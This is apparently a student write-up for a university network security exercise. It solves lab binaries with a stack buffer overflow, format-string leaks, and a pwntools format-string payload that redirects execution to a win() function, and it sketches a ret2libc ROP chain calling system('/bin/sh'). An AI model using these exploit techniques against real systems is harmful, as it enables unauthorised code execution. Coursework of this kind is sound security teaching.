Network Security - Exercise 1

Noah Link, Jan Pfeifer, Julian Weske

April 18, 2024

1 Stack Overflows (Time spent: 3h)

1. The buffer overflow vulnerability in this code lies in the name array, which has a fixed size of 10 characters. If the user inputs a name longer than 10 characters, it will overwrite the memory beyond the allocated space for the name, changing the secret variable. This vulnerability can be fixed by checking the input length for name.

2. The secret variable can be overflown by entering more than 10 characters for during the input for name.

3. We used gdb to generate a secret:

```
gcc -g simple-overflow.cpp -o simple-overflow -lstdc++ -fno-stack-protector
gdb simple-overflow
    break main
    next // Until the input for name shows
    Name: 01234567890x0000 // This was chosen quite randomly
    print &secret -> 808482864 // This is the new secret after the overflow
```

   Now we connected via nc to the server and entered the name and secret. We received:

```
Name:01234567890x0000
Secret:808482864
Authenticated! Proof: netsec{is_this_a_buffer_overflow?}
```

2 Binary exploitation (In total around 13h)

2.1 Information Leakage (3.5h of the 13h)

1. The format string vulnerability originates from the usage of *std::printf(name);* in the given Code, where the user controls the input. This is because printf expects a format string as the first argument, and if a user inputs a string that contains format specifiers (like %s, %d, %x etc.), it can lead to unexpected behavior or security vulnerabilities. By using *std::cout* instead of printf this can be avoided, because *std::cout* does not interpret the string as a format string. It simply outputs the string as is.

2. A big part of the stack can be dumped, when inserting multiple format specifiers, like

```
%71$p %72$p %73$p %74$p %75$p
```

Which yields something like:

```
Hallo: 0x7fdc5aa0b785 0x559a6ea471a5 0xc0ffe5ab6f3f8 0x123456789abcdef 0x7ffc39522ed0
```

After some trial and error with the offset the marker can be found in the output. Here the Marker (0x123456789abcdef) is clearly visible. The local secret variable (0xc0ffe) is right before the marker.

When doing the same on the remote binary, the output is

```
... 0x564fac8311a5 0xdadc0feac8310c0 0x123456789abcdef ...
```

The secret can be obtained by converting the hexadecimal to a decimal. This was done with python:

```
int('dadc0fe', 16)
```

This yields 229490942 as the secret number. When executing the remote binary again and providing the secret number 229490942, the console reads:

```
Authenticated! Proof: netsec{leaking_values_since_1989}
cool!
```

2.2 Altering binary execution (9.5h of the 13h)

1. After some trial and error, we figured out that the address of the marker is at %74$p. We know that the address of the win()-function has an offset of 2, so we know that win() is located at %72$p

```
./medium-format-string-rop
Name:%74$p %72$p
Secret:scrt
Hallo: 0x123456789abcdef 0x55ac4c7831a5
Wrong :|
Anyway...

could you call win for me?
```

2. The return address of the main()-function is the memory address to which the program control returns after the function has finished executing. Our goal is to overwrite this address with the one of the win() function, to force it's execution. We can obtain the address of (main())'s return address on the stack by using gdb.

3. We used the fmtstr_payload function from the pwn library to redirect the program's execution flow to a desired function (win_address). The payload that we was generated by fmtstr_payload is:

```
b'%165c%17$llnc%18$hhn%43c%19$hhn%104c%20$hhn%28c%21$hhn%76c%22$hhnaaaabaax\x9d\x104\xff\x
7f\x00\x00{\x9d\x104\xff\x7f\x00\x00y\x9d\x104\xff\x7f\x00\x00z\x9d\x104\xff\x7f\x00\x00}\
x9d\x104\xff\x7f\x00\x00|\x9d\x104\xff\x7f\x00\x00'
```

And as a result we got the following proof.

```
Proof: netsec{calling_arbitrary_functions_through_printf}\nSegmentation fault\n'
```

2.3 Remote code execution

Since exercise 2.2 took quite some time, we were not able to complete exercise 2.3, but we have ideas how to tackle the problems:

1. (a) To obtain the address of the *__libc_start_main* function, a debugger could be used to break at main. Then we might be able to examine the stack to find the return address, which should point to *__libc_start_main + 0xF3*

   (b) *objdump* could be used to find the offsets of these functions in the libc file. When the address of a libc function is known, the address of other functions could be calculated with those offsets.

   (c) The address of a string like /bin/sh can be found in the libc file using tools like *strings* along with *grep* to find the offset of the string. Then, we can add this offset to the base address of libc in the memory space of the running binary to get the actual address.

   (d) To find gadgets in the binary a tool like *ROPgadget* can be used:

   ```
   ROPgadget --binary ./medium-format-string-rop --only "pop|ret"
   ```

   ```
   ROPgadget --binary ./medium-format-string-rop --only ret
   ```

2. Some Ideas:

   - **return_addr**: This could be overwritten with the address of the first gadget we want to execute. For example, if we're trying to call system("/bin/sh"), we might overwrite this with the address of a *pop rdi; ret* gadget. This gadget will pop the next value on the stack into the *rdi* register and then return, causing the next gadget (or function) to be executed.
   - **return_addr + 8**: This could be overwritten with the argument to the previous gadget. In the system("/bin/sh") example, we would overwrite this with the address of the "/bin/sh" string in memory. When the *pop rdi; ret* gadget is executed, it will pop this value into the rdi register, effectively setting the argument for the system call.
   - After these two, one could put the address of the system function or another gadget. The *ret* instruction in the *pop rdi; ret* gadget will cause this function to be executed next.

3. As decribed above, we'd first need to leak the *libc* address. Then we'd need to calculate the offsets to find the *system()* function and the "/bin/sh" string. Lastly we'd need to find and use the *pop rdi; ret* gadget to set the *rdi* register and call the function.